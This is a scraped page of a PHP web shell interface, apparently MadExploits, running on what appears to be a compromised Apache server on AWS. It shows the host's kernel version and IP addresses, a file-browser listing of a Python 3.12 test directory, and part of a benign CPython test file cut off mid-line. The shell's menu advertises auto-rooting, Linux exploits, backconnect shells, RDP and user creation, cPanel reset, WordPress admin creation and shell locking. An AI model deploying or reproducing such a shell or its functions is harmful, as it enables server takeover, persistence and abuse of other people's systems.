Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.21.125.194
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
panel /
pyenv /
lib /
python3.12 /
test /
[ HOME SHELL ]
Name
Size
Permission
Action
audiodata
[ DIR ]
drwxr-xr-x
certdata
[ DIR ]
drwxr-xr-x
cjkencodings
[ DIR ]
drwxr-xr-x
configdata
[ DIR ]
drwxr-xr-x
crashers
[ DIR ]
drwxr-xr-x
data
[ DIR ]
drwxr-xr-x
decimaltestdata
[ DIR ]
drwxr-xr-x
dtracedata
[ DIR ]
drwxr-xr-x
encoded_modules
[ DIR ]
drwxr-xr-x
imghdrdata
[ DIR ]
drwxr-xr-x
leakers
[ DIR ]
drwxr-xr-x
libregrtest
[ DIR ]
drwxr-xr-x
regrtestdata
[ DIR ]
drwxr-xr-x
sndhdrdata
[ DIR ]
drwxr-xr-x
subprocessdata
[ DIR ]
drwxr-xr-x
support
[ DIR ]
drwxr-xr-x
test_asyncio
[ DIR ]
drwxr-xr-x
test_capi
[ DIR ]
drwxr-xr-x
test_concurrent_futures
[ DIR ]
drwxr-xr-x
test_cppext
[ DIR ]
drwxr-xr-x
test_ctypes
[ DIR ]
drwxr-xr-x
test_dataclasses
[ DIR ]
drwxr-xr-x
test_doctest
[ DIR ]
drwxr-xr-x
test_email
[ DIR ]
drwxr-xr-x
test_future_stmt
[ DIR ]
drwxr-xr-x
test_gdb
[ DIR ]
drwxr-xr-x
test_import
[ DIR ]
drwxr-xr-x
test_importlib
[ DIR ]
drwxr-xr-x
test_inspect
[ DIR ]
drwxr-xr-x
test_json
[ DIR ]
drwxr-xr-x
test_lib2to3
[ DIR ]
drwxr-xr-x
test_module
[ DIR ]
drwxr-xr-x
test_multiprocessing_fork
[ DIR ]
drwxr-xr-x
test_multiprocessing_forkserve...
[ DIR ]
drwxr-xr-x
test_multiprocessing_spawn
[ DIR ]
drwxr-xr-x
test_peg_generator
[ DIR ]
drwxr-xr-x
test_pydoc
[ DIR ]
drwxr-xr-x
test_sqlite3
[ DIR ]
drwxr-xr-x
test_tkinter
[ DIR ]
drwxr-xr-x
test_tomllib
[ DIR ]
drwxr-xr-x
test_tools
[ DIR ]
drwxr-xr-x
test_ttk
[ DIR ]
drwxr-xr-x
test_unittest
[ DIR ]
drwxr-xr-x
test_warnings
[ DIR ]
drwxr-xr-x
test_zipfile
[ DIR ]
drwxr-xr-x
test_zoneinfo
[ DIR ]
drwxr-xr-x
tokenizedata
[ DIR ]
drwxr-xr-x
tracedmodules
[ DIR ]
drwxr-xr-x
typinganndata
[ DIR ]
drwxr-xr-x
wheeldata
[ DIR ]
drwxr-xr-x
xmltestdata
[ DIR ]
drwxr-xr-x
ziptestdata
[ DIR ]
drwxr-xr-x
Sine-1000Hz-300ms.aif
60.25
KB
-rw-r--r--
__init__.py
47
B
-rw-r--r--
__main__.py
67
B
-rw-r--r--
_test_atexit.py
3.61
KB
-rw-r--r--
_test_eintr.py
17.75
KB
-rw-r--r--
_test_embed_set_config.py
8.64
KB
-rw-r--r--
_test_embed_structseq.py
1.99
KB
-rw-r--r--
_test_multiprocessing.py
206.66
KB
-rw-r--r--
_test_venv_multiprocessing.py
796
B
-rw-r--r--
archiver_tests.py
6.1
KB
-rw-r--r--
audiotest.au
27.48
KB
-rw-r--r--
audiotests.py
12.13
KB
-rw-r--r--
audit-tests.py
13.19
KB
-rw-r--r--
autotest.py
214
B
-rw-r--r--
badsyntax_pep3120.py
14
B
-rw-r--r--
bisect_cmd.py
5.34
KB
-rwxr-xr-x
clinic.test.c
138.59
KB
-rw-r--r--
cmath_testcases.txt
141.2
KB
-rw-r--r--
curses_tests.py
1.21
KB
-rwxr-xr-x
datetimetester.py
260.28
KB
-rw-r--r--
dis_module.py
76
B
-rw-r--r--
empty.vbs
70
B
-rw-r--r--
exception_hierarchy.txt
2.33
KB
-rw-r--r--
floating_points.txt
15.92
KB
-rw-r--r--
fork_wait.py
2.29
KB
-rw-r--r--
formatfloat_testcases.txt
7.45
KB
-rw-r--r--
ieee754.txt
3.15
KB
-rw-r--r--
levenshtein_examples.json
406.44
KB
-rw-r--r--
list_tests.py
16.64
KB
-rw-r--r--
lock_tests.py
35.48
KB
-rw-r--r--
mailcap.txt
1.24
KB
-rw-r--r--
mapping_tests.py
21.87
KB
-rw-r--r--
math_testcases.txt
23.19
KB
-rw-r--r--
memory_watchdog.py
711
B
-rw-r--r--
mime.types
47.37
KB
-rw-r--r--
mock_socket.py
3.69
KB
-rw-r--r--
mp_fork_bomb.py
448
B
-rw-r--r--
mp_preload.py
351
B
-rw-r--r--
multibytecodec_support.py
14.19
KB
-rw-r--r--
pickletester.py
143.84
KB
-rw-r--r--
profilee.py
2.97
KB
-rw-r--r--
pstats.pck
65.05
KB
-rw-r--r--
pyclbr_input.py
648
B
-rw-r--r--
pythoninfo.py
28.32
KB
-rw-r--r--
randv2_32.pck
7.34
KB
-rw-r--r--
randv2_64.pck
7.19
KB
-rw-r--r--
randv3.pck
7.82
KB
-rw-r--r--
re_tests.py
25.93
KB
-rwxr-xr-x
recursion.tar
516
B
-rw-r--r--
regrtest.py
1.27
KB
-rwxr-xr-x
relimport.py
27
B
-rw-r--r--
reperf.py
538
B
-rw-r--r--
seq_tests.py
14.96
KB
-rw-r--r--
signalinterproctester.py
3.12
KB
-rw-r--r--
ssl_servers.py
7.12
KB
-rw-r--r--
ssltests.py
1.03
KB
-rw-r--r--
string_tests.py
71.24
KB
-rw-r--r--
test___all__.py
5.04
KB
-rw-r--r--
test__locale.py
8.09
KB
-rw-r--r--
test__opcode.py
4.14
KB
-rw-r--r--
test__osx_support.py
13.62
KB
-rw-r--r--
test__xxinterpchannels.py
52.19
KB
-rw-r--r--
test__xxsubinterpreters.py
27.5
KB
-rw-r--r--
test_abc.py
23.81
KB
-rw-r--r--
test_abstract_numbers.py
5.81
KB
-rw-r--r--
test_aifc.py
17.84
KB
-rw-r--r--
test_argparse.py
189
KB
-rw-r--r--
test_array.py
55.27
KB
-rwxr-xr-x
test_asdl_parser.py
4.44
KB
-rw-r--r--
test_ast.py
140.71
KB
-rw-r--r--
test_asyncgen.py
47.39
KB
-rw-r--r--
test_atexit.py
3.2
KB
-rw-r--r--
test_audioop.py
28.32
KB
-rw-r--r--
test_audit.py
8.6
KB
-rw-r--r--
test_augassign.py
7.68
KB
-rw-r--r--
test_base64.py
35.05
KB
-rw-r--r--
test_baseexception.py
7.77
KB
-rw-r--r--
test_bdb.py
43.75
KB
-rw-r--r--
test_bigaddrspace.py
2.83
KB
-rw-r--r--
test_bigmem.py
45.01
KB
-rw-r--r--
test_binascii.py
19.35
KB
-rw-r--r--
test_binop.py
14.14
KB
-rw-r--r--
test_bisect.py
16.63
KB
-rw-r--r--
test_bool.py
14.25
KB
-rw-r--r--
test_buffer.py
171.31
KB
-rw-r--r--
test_bufio.py
2.56
KB
-rw-r--r--
test_builtin.py
95.14
KB
-rw-r--r--
test_bytes.py
80.57
KB
-rw-r--r--
test_bz2.py
42.61
KB
-rw-r--r--
test_c_locale_coercion.py
20.99
KB
-rw-r--r--
test_calendar.py
51.25
KB
-rw-r--r--
test_call.py
35.21
KB
-rw-r--r--
test_cgi.py
22.27
KB
-rw-r--r--
test_cgitb.py
2.62
KB
-rw-r--r--
test_charmapcodec.py
1.77
KB
-rw-r--r--
test_class.py
19.77
KB
-rw-r--r--
test_clinic.py
83.96
KB
-rw-r--r--
test_cmath.py
23.55
KB
-rw-r--r--
test_cmd.py
6.49
KB
-rw-r--r--
test_cmd_line.py
39.51
KB
-rw-r--r--
test_cmd_line_script.py
34.93
KB
-rw-r--r--
test_code.py
25.7
KB
-rw-r--r--
test_code_module.py
5.53
KB
-rw-r--r--
test_codeccallbacks.py
47.43
KB
-rw-r--r--
test_codecencodings_cn.py
3.86
KB
-rw-r--r--
test_codecencodings_hk.py
701
B
-rw-r--r--
test_codecencodings_iso2022.py
3.65
KB
-rw-r--r--
test_codecencodings_jp.py
4.79
KB
-rw-r--r--
test_codecencodings_kr.py
2.96
KB
-rw-r--r--
test_codecencodings_tw.py
681
B
-rw-r--r--
test_codecmaps_cn.py
746
B
-rw-r--r--
test_codecmaps_hk.py
386
B
-rw-r--r--
test_codecmaps_jp.py
1.7
KB
-rw-r--r--
test_codecmaps_kr.py
1.16
KB
-rw-r--r--
test_codecmaps_tw.py
705
B
-rw-r--r--
test_codecs.py
136.12
KB
-rw-r--r--
test_codeop.py
8.68
KB
-rw-r--r--
test_collections.py
93.47
KB
-rw-r--r--
test_colorsys.py
4.27
KB
-rw-r--r--
test_compare.py
17.46
KB
-rw-r--r--
test_compile.py
78.68
KB
-rw-r--r--
test_compileall.py
48.27
KB
-rw-r--r--
test_compiler_assemble.py
2.46
KB
-rw-r--r--
test_compiler_codegen.py
1.69
KB
-rw-r--r--
test_complex.py
35.37
KB
-rw-r--r--
test_configparser.py
85.34
KB
-rw-r--r--
test_contains.py
3.35
KB
-rw-r--r--
test_context.py
30.78
KB
-rw-r--r--
test_contextlib.py
43.12
KB
-rw-r--r--
test_contextlib_async.py
23.99
KB
-rw-r--r--
test_copy.py
26.52
KB
-rw-r--r--
test_copyreg.py
4.36
KB
-rw-r--r--
test_coroutines.py
67.47
KB
-rw-r--r--
test_cprofile.py
7.36
KB
-rw-r--r--
test_crashers.py
1.17
KB
-rw-r--r--
test_crypt.py
4.19
KB
-rw-r--r--
test_csv.py
61.27
KB
-rw-r--r--
test_curses.py
49.54
KB
-rw-r--r--
test_datetime.py
2.53
KB
-rw-r--r--
test_dbm.py
6.83
KB
-rw-r--r--
test_dbm_dumb.py
11.08
KB
-rw-r--r--
test_dbm_gnu.py
7.24
KB
-rw-r--r--
test_dbm_ndbm.py
5.91
KB
-rw-r--r--
test_decimal.py
216.13
KB
-rw-r--r--
test_decorators.py
14.63
KB
-rw-r--r--
test_defaultdict.py
6.1
KB
-rw-r--r--
test_deque.py
33.16
KB
-rw-r--r--
test_descr.py
196.13
KB
-rw-r--r--
test_descrtut.py
10.98
KB
-rw-r--r--
test_devpoll.py
4.44
KB
-rw-r--r--
test_dict.py
50.92
KB
-rw-r--r--
test_dict_version.py
6.1
KB
-rw-r--r--
test_dictcomps.py
5.15
KB
-rw-r--r--
test_dictviews.py
14.82
KB
-rw-r--r--
test_difflib.py
21.47
KB
-rw-r--r--
test_difflib_expect.html
100.85
KB
-rw-r--r--
test_dis.py
83
KB
-rw-r--r--
test_docxmlrpc.py
9.1
KB
-rw-r--r--
test_dtrace.py
7.98
KB
-rw-r--r--
test_dynamic.py
6
KB
-rw-r--r--
test_dynamicclassattribute.py
9.57
KB
-rw-r--r--
test_eintr.py
627
B
-rw-r--r--
test_embed.py
69.41
KB
-rw-r--r--
test_ensurepip.py
11.49
KB
-rw-r--r--
test_enum.py
186.78
KB
-rw-r--r--
test_enumerate.py
9.14
KB
-rw-r--r--
test_eof.py
3.1
KB
-rw-r--r--
test_epoll.py
9.4
KB
-rw-r--r--
test_errno.py
1.04
KB
-rw-r--r--
test_except_star.py
38.25
KB
-rw-r--r--
test_exception_group.py
34.03
KB
-rw-r--r--
test_exception_hierarchy.py
7.54
KB
-rw-r--r--
test_exception_variations.py
13.74
KB
-rw-r--r--
test_exceptions.py
76.46
KB
-rw-r--r--
test_extcall.py
14.69
KB
-rw-r--r--
test_faulthandler.py
30.31
KB
-rw-r--r--
test_fcntl.py
7.76
KB
-rw-r--r--
test_file.py
11.78
KB
-rw-r--r--
test_file_eintr.py
10.74
KB
-rw-r--r--
test_filecmp.py
10.33
KB
-rw-r--r--
test_fileinput.py
37.85
KB
-rw-r--r--
test_fileio.py
19.98
KB
-rw-r--r--
test_fileutils.py
951
B
-rw-r--r--
test_finalization.py
14.66
KB
-rw-r--r--
test_float.py
64.76
KB
-rw-r--r--
test_flufl.py
1.53
KB
-rw-r--r--
test_fnmatch.py
10.68
KB
-rw-r--r--
test_fork1.py
3.3
KB
-rw-r--r--
test_format.py
28.44
KB
-rw-r--r--
test_fractions.py
52.53
KB
-rw-r--r--
test_frame.py
14.04
KB
-rw-r--r--
test_frozen.py
2.2
KB
-rw-r--r--
test_fstring.py
64.71
KB
-rw-r--r--
test_ftplib.py
41.94
KB
-rw-r--r--
test_funcattrs.py
15.57
KB
-rw-r--r--
test_functools.py
109.31
KB
-rw-r--r--
test_gc.py
47.71
KB
-rw-r--r--
test_generator_stop.py
943
B
-rw-r--r--
test_generators.py
66.13
KB
-rw-r--r--
test_genericalias.py
17.78
KB
-rw-r--r--
test_genericclass.py
9.44
KB
-rw-r--r--
test_genericpath.py
22.29
KB
-rw-r--r--
test_genexps.py
7.3
KB
-rw-r--r--
test_getopt.py
6.6
KB
-rw-r--r--
test_getpass.py
6.37
KB
-rw-r--r--
test_getpath.py
44.36
KB
-rw-r--r--
test_gettext.py
35.67
KB
-rw-r--r--
test_glob.py
17.19
KB
-rw-r--r--
test_global.py
1.2
KB
-rw-r--r--
test_grammar.py
65.97
KB
-rw-r--r--
test_graphlib.py
8.31
KB
-rw-r--r--
test_grp.py
3.67
KB
-rw-r--r--
test_gzip.py
40.94
KB
-rw-r--r--
test_hash.py
12.11
KB
-rw-r--r--
test_hashlib.py
46.71
KB
-rw-r--r--
test_heapq.py
16.42
KB
-rw-r--r--
test_hmac.py
26.06
KB
-rw-r--r--
test_html.py
4.23
KB
-rw-r--r--
test_htmlparser.py
33.37
KB
-rw-r--r--
test_http_cookiejar.py
81.57
KB
-rw-r--r--
test_http_cookies.py
18.7
KB
-rw-r--r--
test_httplib.py
96.14
KB
-rw-r--r--
test_httpservers.py
56.43
KB
-rw-r--r--
test_idle.py
831
B
-rw-r--r--
test_imaplib.py
41.69
KB
-rw-r--r--
test_imghdr.py
4.81
KB
-rw-r--r--
test_index.py
8.37
KB
-rw-r--r--
test_int.py
33.34
KB
-rw-r--r--
test_int_literal.py
6.89
KB
-rw-r--r--
test_interpreters.py
32.11
KB
-rw-r--r--
test_io.py
182.76
KB
-rw-r--r--
test_ioctl.py
3.24
KB
-rw-r--r--
test_ipaddress.py
119.17
KB
-rw-r--r--
test_isinstance.py
12.95
KB
-rw-r--r--
test_iter.py
36.77
KB
-rw-r--r--
test_iterlen.py
7.1
KB
-rw-r--r--
test_itertools.py
106.61
KB
-rw-r--r--
test_keyword.py
2
KB
-rw-r--r--
test_keywordonlyarg.py
6.89
KB
-rw-r--r--
test_kqueue.py
9.36
KB
-rw-r--r--
test_largefile.py
10.17
KB
-rw-r--r--
test_launcher.py
27.23
KB
-rw-r--r--
test_linecache.py
11.04
KB
-rw-r--r--
test_list.py
8.93
KB
-rw-r--r--
test_listcomps.py
20.71
KB
-rw-r--r--
test_lltrace.py
3.71
KB
-rw-r--r--
test_locale.py
24.43
KB
-rw-r--r--
test_logging.py
241.62
KB
-rw-r--r--
test_long.py
63.33
KB
-rw-r--r--
test_longexp.py
233
B
-rw-r--r--
test_lzma.py
92.65
KB
-rw-r--r--
test_mailbox.py
93.91
KB
-rw-r--r--
test_mailcap.py
11.48
KB
-rw-r--r--
test_marshal.py
23.15
KB
-rw-r--r--
test_math.py
107.6
KB
-rw-r--r--
test_math_property.py
1.15
KB
-rw-r--r--
test_memoryio.py
32.65
KB
-rw-r--r--
test_memoryview.py
21.76
KB
-rw-r--r--
test_metaclass.py
6.19
KB
-rw-r--r--
test_mimetypes.py
15.28
KB
-rw-r--r--
test_minidom.py
68.42
KB
-rw-r--r--
test_mmap.py
38.56
KB
-rw-r--r--
test_modulefinder.py
12.21
KB
-rw-r--r--
test_monitoring.py
55.76
KB
-rw-r--r--
test_msilib.py
5.52
KB
-rw-r--r--
test_multibytecodec.py
15.79
KB
-rw-r--r--
test_multiprocessing_main_hand...
11.48
KB
-rw-r--r--
test_named_expressions.py
29.62
KB
-rw-r--r--
test_netrc.py
11.86
KB
-rw-r--r--
test_nis.py
1.25
KB
-rw-r--r--
test_nntplib.py
62.7
KB
-rw-r--r--
test_ntpath.py
52.48
KB
-rw-r--r--
test_numeric_tower.py
8
KB
-rw-r--r--
test_opcache.py
10.89
KB
-rw-r--r--
test_opcodes.py
3.62
KB
-rw-r--r--
test_openpty.py
600
B
-rw-r--r--
test_operator.py
26.72
KB
-rw-r--r--
test_optparse.py
61.02
KB
-rw-r--r--
test_ordered_dict.py
35.62
KB
-rw-r--r--
test_os.py
179.95
KB
-rw-r--r--
test_ossaudiodev.py
7.27
KB
-rw-r--r--
test_osx_env.py
1.31
KB
-rw-r--r--
test_pathlib.py
137.81
KB
-rw-r--r--
test_patma.py
86.03
KB
-rw-r--r--
test_pdb.py
86.53
KB
-rw-r--r--
test_peepholer.py
40.6
KB
-rw-r--r--
test_pep646_syntax.py
7.79
KB
-rw-r--r--
test_perf_profiler.py
11.27
KB
-rw-r--r--
test_perfmaps.py
685
B
-rw-r--r--
test_pickle.py
20.75
KB
-rw-r--r--
test_picklebuffer.py
4.99
KB
-rw-r--r--
test_pickletools.py
4.13
KB
-rw-r--r--
test_pipes.py
6.79
KB
-rw-r--r--
test_pkg.py
9.59
KB
-rw-r--r--
test_pkgutil.py
22.36
KB
-rw-r--r--
test_platform.py
21.59
KB
-rw-r--r--
test_plistlib.py
41.25
KB
-rw-r--r--
test_poll.py
7.39
KB
-rw-r--r--
test_popen.py
2.11
KB
-rw-r--r--
test_poplib.py
17.05
KB
-rw-r--r--
test_positional_only_arg.py
18.44
KB
-rw-r--r--
test_posix.py
95.07
KB
-rw-r--r--
test_posixpath.py
33.75
KB
-rw-r--r--
test_pow.py
6.38
KB
-rw-r--r--
test_pprint.py
50.59
KB
-rw-r--r--
test_print.py
7.72
KB
-rw-r--r--
test_profile.py
8.69
KB
-rw-r--r--
test_property.py
18.03
KB
-rw-r--r--
test_pstats.py
4.31
KB
-rw-r--r--
test_pty.py
16.18
KB
-rw-r--r--
test_pulldom.py
12.33
KB
-rw-r--r--
test_pwd.py
4.32
KB
-rw-r--r--
test_py_compile.py
11.93
KB
-rw-r--r--
test_pyclbr.py
10.15
KB
-rw-r--r--
test_pyexpat.py
29.35
KB
-rw-r--r--
test_queue.py
20.61
KB
-rw-r--r--
test_quopri.py
7.87
KB
-rw-r--r--
test_raise.py
13.44
KB
-rw-r--r--
test_random.py
56.69
KB
-rw-r--r--
test_range.py
26.53
KB
-rw-r--r--
test_re.py
131.37
KB
-rw-r--r--
test_readline.py
12.76
KB
-rw-r--r--
test_regrtest.py
90.02
KB
-rw-r--r--
test_repl.py
4.99
KB
-rw-r--r--
test_reprlib.py
27.77
KB
-rw-r--r--
test_resource.py
7.12
KB
-rw-r--r--
test_richcmp.py
11.95
KB
-rw-r--r--
test_rlcompleter.py
7.4
KB
-rw-r--r--
test_robotparser.py
11.02
KB
-rw-r--r--
test_runpy.py
33.95
KB
-rw-r--r--
test_sax.py
54.63
KB
-rw-r--r--
test_sched.py
7.38
KB
-rw-r--r--
test_scope.py
21.21
KB
-rw-r--r--
test_script_helper.py
5.82
KB
-rw-r--r--
test_secrets.py
4.28
KB
-rw-r--r--
test_select.py
3.42
KB
-rw-r--r--
test_selectors.py
19.64
KB
-rw-r--r--
test_set.py
71.31
KB
-rw-r--r--
test_setcomps.py
3.8
KB
-rw-r--r--
test_shelve.py
6.42
KB
-rw-r--r--
test_shlex.py
13.39
KB
-rw-r--r--
test_shutil.py
126.96
KB
-rw-r--r--
test_signal.py
52.42
KB
-rw-r--r--
test_site.py
29.79
KB
-rw-r--r--
test_slice.py
9.46
KB
-rw-r--r--
test_smtplib.py
60.02
KB
-rw-r--r--
test_smtpnet.py
3.03
KB
-rw-r--r--
test_sndhdr.py
1.51
KB
-rw-r--r--
test_socket.py
254.72
KB
-rw-r--r--
test_socketserver.py
17.39
KB
-rw-r--r--
test_sort.py
13.59
KB
-rw-r--r--
test_source_encoding.py
12.65
KB
-rw-r--r--
test_spwd.py
2.83
KB
-rw-r--r--
test_ssl.py
215.24
KB
-rw-r--r--
test_stable_abi_ctypes.py
24.75
KB
-rw-r--r--
test_startfile.py
1.7
KB
-rw-r--r--
test_stat.py
8.92
KB
-rw-r--r--
test_statistics.py
120.02
KB
-rw-r--r--
test_strftime.py
7.4
KB
-rw-r--r--
test_string.py
21.86
KB
-rw-r--r--
test_string_literals.py
13.07
KB
-rw-r--r--
test_stringprep.py
3.04
KB
-rw-r--r--
test_strptime.py
36.48
KB
-rw-r--r--
test_strtod.py
20.06
KB
-rw-r--r--
test_struct.py
38.45
KB
-rw-r--r--
test_structseq.py
7.23
KB
-rw-r--r--
test_subclassinit.py
8.04
KB
-rw-r--r--
test_subprocess.py
162.29
KB
-rw-r--r--
test_sunau.py
6.09
KB
-rw-r--r--
test_sundry.py
1.02
KB
-rw-r--r--
test_super.py
13.9
KB
-rw-r--r--
test_support.py
27.05
KB
-rw-r--r--
test_symtable.py
11.05
KB
-rw-r--r--
test_syntax.py
71.87
KB
-rw-r--r--
test_sys.py
65.64
KB
-rw-r--r--
test_sys_setprofile.py
13.71
KB
-rw-r--r--
test_sys_settrace.py
84.56
KB
-rw-r--r--
test_sysconfig.py
22.45
KB
-rw-r--r--
test_syslog.py
4.7
KB
-rw-r--r--
test_tabnanny.py
13.89
KB
-rw-r--r--
test_tarfile.py
159.67
KB
-rw-r--r--
test_tcl.py
27.22
KB
-rw-r--r--
test_telnetlib.py
12.85
KB
-rw-r--r--
test_tempfile.py
73.86
KB
-rw-r--r--
test_termios.py
10.95
KB
-rw-r--r--
test_textwrap.py
41.89
KB
-rw-r--r--
test_thread.py
8.87
KB
-rw-r--r--
test_threadedtempfile.py
1.93
KB
-rw-r--r--
test_threading.py
73
KB
-rw-r--r--
test_threading_local.py
6.58
KB
-rw-r--r--
test_threadsignals.py
9.87
KB
-rw-r--r--
test_time.py
42.44
KB
-rw-r--r--
test_timeit.py
15.2
KB
-rw-r--r--
test_timeout.py
10.74
KB
-rw-r--r--
test_tix.py
1.05
KB
-rw-r--r--
test_tokenize.py
115.33
KB
-rw-r--r--
test_trace.py
20.58
KB
-rw-r--r--
test_traceback.py
142.96
KB
-rw-r--r--
test_tracemalloc.py
39.54
KB
-rw-r--r--
test_ttk_textonly.py
16.69
KB
-rw-r--r--
test_tty.py
3.63
KB
-rw-r--r--
test_tuple.py
19.8
KB
-rw-r--r--
test_turtle.py
14.04
KB
-rw-r--r--
test_type_aliases.py
11.65
KB
-rw-r--r--
test_type_annotations.py
6.23
KB
-rw-r--r--
test_type_cache.py
6.6
KB
-rw-r--r--
test_type_comments.py
10.5
KB
-rw-r--r--
test_type_params.py
34.24
KB
-rw-r--r--
test_typechecks.py
2.55
KB
-rw-r--r--
test_types.py
80.76
KB
-rw-r--r--
test_typing.py
334.07
KB
-rw-r--r--
test_ucn.py
9.52
KB
-rw-r--r--
test_unary.py
1.52
KB
-rw-r--r--
test_unicode.py
124.82
KB
-rw-r--r--
test_unicode_file.py
5.72
KB
-rw-r--r--
test_unicode_file_functions.py
6.91
KB
-rw-r--r--
test_unicode_identifiers.py
997
B
-rw-r--r--
test_unicodedata.py
17.01
KB
-rw-r--r--
test_univnewlines.py
3.85
KB
-rw-r--r--
test_unpack.py
3.51
KB
-rw-r--r--
test_unpack_ex.py
9.89
KB
-rw-r--r--
test_unparse.py
27.75
KB
-rw-r--r--
test_urllib.py
70.17
KB
-rw-r--r--
test_urllib2.py
80.73
KB
-rw-r--r--
test_urllib2_localnet.py
25.59
KB
-rw-r--r--
test_urllib2net.py
13.96
KB
-rw-r--r--
test_urllib_response.py
2
KB
-rw-r--r--
test_urllibnet.py
9.41
KB
-rw-r--r--
test_urlparse.py
73.73
KB
-rw-r--r--
test_userdict.py
7.56
KB
-rw-r--r--
test_userlist.py
1.97
KB
-rw-r--r--
test_userstring.py
2.52
KB
-rw-r--r--
test_utf8_mode.py
10.31
KB
-rw-r--r--
test_utf8source.py
1.15
KB
-rw-r--r--
test_uu.py
9.2
KB
-rw-r--r--
test_uuid.py
44.26
KB
-rwxr-xr-x
test_venv.py
32.42
KB
-rw-r--r--
test_wait3.py
1.74
KB
-rw-r--r--
test_wait4.py
1.14
KB
-rw-r--r--
test_wave.py
7.64
KB
-rw-r--r--
test_weakref.py
74.32
KB
-rw-r--r--
test_weakset.py
16.3
KB
-rw-r--r--
test_webbrowser.py
10.5
KB
-rw-r--r--
test_winconsoleio.py
6.69
KB
-rw-r--r--
test_winreg.py
22.48
KB
-rw-r--r--
test_winsound.py
5.32
KB
-rw-r--r--
test_with.py
26.02
KB
-rw-r--r--
test_wmi.py
2.89
KB
-rw-r--r--
test_wsgiref.py
29.32
KB
-rw-r--r--
test_xdrlib.py
2.25
KB
-rw-r--r--
test_xml_dom_minicompat.py
4.18
KB
-rw-r--r--
test_xml_etree.py
160.22
KB
-rw-r--r--
test_xml_etree_c.py
9.34
KB
-rw-r--r--
test_xmlrpc.py
58.08
KB
-rw-r--r--
test_xmlrpc_net.py
954
B
-rw-r--r--
test_xxlimited.py
2.46
KB
-rw-r--r--
test_xxtestfuzz.py
690
B
-rw-r--r--
test_yield_from.py
50.23
KB
-rw-r--r--
test_zipapp.py
16.6
KB
-rw-r--r--
test_zipfile64.py
5.78
KB
-rw-r--r--
test_zipimport.py
32.97
KB
-rw-r--r--
test_zipimport_support.py
10.57
KB
-rw-r--r--
test_zlib.py
41.47
KB
-rw-r--r--
testcodec.py
1.02
KB
-rw-r--r--
testtar.tar
425
KB
-rw-r--r--
testtar.tar.xz
172
B
-rw-r--r--
tf_inherit_check.py
714
B
-rw-r--r--
time_hashlib.py
2.87
KB
-rw-r--r--
win_console_handler.py
1.38
KB
-rw-r--r--
xmltests.py
499
B
-rw-r--r--
zip_cp437_header.zip
270
B
-rw-r--r--
zipdir.zip
374
B
-rw-r--r--
zipdir_backslash.zip
192
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test_type_params.py
import asyncio import textwrap import types import unittest import pickle import weakref from test.support import requires_working_socket, check_syntax_error, run_code from typing import Generic, Sequence, TypeVar, TypeVarTuple, ParamSpec, get_args class TypeParamsInvalidTest(unittest.TestCase): def test_name_collisions(self): check_syntax_error(self, 'def func[**A, A](): ...', "duplicate type parameter 'A'") check_syntax_error(self, 'def func[A, *A](): ...', "duplicate type parameter 'A'") check_syntax_error(self, 'def func[*A, **A](): ...', "duplicate type parameter 'A'") check_syntax_error(self, 'class C[**A, A](): ...', "duplicate type parameter 'A'") check_syntax_error(self, 'class C[A, *A](): ...', "duplicate type parameter 'A'") check_syntax_error(self, 'class C[*A, **A](): ...', "duplicate type parameter 'A'") def test_name_non_collision_02(self): ns = run_code("""def func[A](A): return A""") func = ns["func"] self.assertEqual(func(1), 1) A, = func.__type_params__ self.assertEqual(A.__name__, "A") def test_name_non_collision_03(self): ns = run_code("""def func[A](*A): return A""") func = ns["func"] self.assertEqual(func(1), (1,)) A, = func.__type_params__ self.assertEqual(A.__name__, "A") def test_name_non_collision_04(self): # Mangled names should not cause a conflict. ns = run_code(""" class ClassA: def func[__A](self, __A): return __A """ ) cls = ns["ClassA"] self.assertEqual(cls().func(1), 1) A, = cls.func.__type_params__ self.assertEqual(A.__name__, "__A") def test_name_non_collision_05(self): ns = run_code(""" class ClassA: def func[_ClassA__A](self, __A): return __A """ ) cls = ns["ClassA"] self.assertEqual(cls().func(1), 1) A, = cls.func.__type_params__ self.assertEqual(A.__name__, "_ClassA__A") def test_name_non_collision_06(self): ns = run_code(""" class ClassA[X]: def func(self, X): return X """ ) cls = ns["ClassA"] self.assertEqual(cls().func(1), 1) X, = cls.__type_params__ self.assertEqual(X.__name__, "X") def test_name_non_collision_07(self): ns = run_code(""" class ClassA[X]: def func(self): X = 1 return X """ ) cls = ns["ClassA"] self.assertEqual(cls().func(), 1) X, = cls.__type_params__ self.assertEqual(X.__name__, "X") def test_name_non_collision_08(self): ns = run_code(""" class ClassA[X]: def func(self): return [X for X in [1, 2]] """ ) cls = ns["ClassA"] self.assertEqual(cls().func(), [1, 2]) X, = cls.__type_params__ self.assertEqual(X.__name__, "X") def test_name_non_collision_9(self): ns = run_code(""" class ClassA[X]: def func[X](self): ... """ ) cls = ns["ClassA"] outer_X, = cls.__type_params__ inner_X, = cls.func.__type_params__ self.assertEqual(outer_X.__name__, "X") self.assertEqual(inner_X.__name__, "X") self.assertIsNot(outer_X, inner_X) def test_name_non_collision_10(self): ns = run_code(""" class ClassA[X]: X: int """ ) cls = ns["ClassA"] X, = cls.__type_params__ self.assertEqual(X.__name__, "X") self.assertIs(cls.__annotations__["X"], int) def test_name_non_collision_13(self): ns = run_code(""" X = 1 def outer(): def inner[X](): global X X = 2 return inner """ ) self.assertEqual(ns["X"], 1) outer = ns["outer"] outer()() self.assertEqual(ns["X"], 2) def test_disallowed_expressions(self): check_syntax_error(self, "type X = (yield)") check_syntax_error(self, "type X = (yield from x)") check_syntax_error(self, "type X = (await 42)") check_syntax_error(self, "async def f(): type X = (yield)") check_syntax_error(self, "type X = (y := 3)") check_syntax_error(self, "class X[T: (yield)]: pass") check_syntax_error(self, "class X[T: (yield from x)]: pass") check_syntax_error(self, "class X[T: (await 42)]: pass") check_syntax_error(self, "class X[T: (y := 3)]: pass") check_syntax_error(self, "class X[T](y := Sequence[T]): pass") check_syntax_error(self, "def f[T](y: (x := Sequence[T])): pass") check_syntax_error(self, "class X[T]([(x := 3) for _ in range(2)] and B): 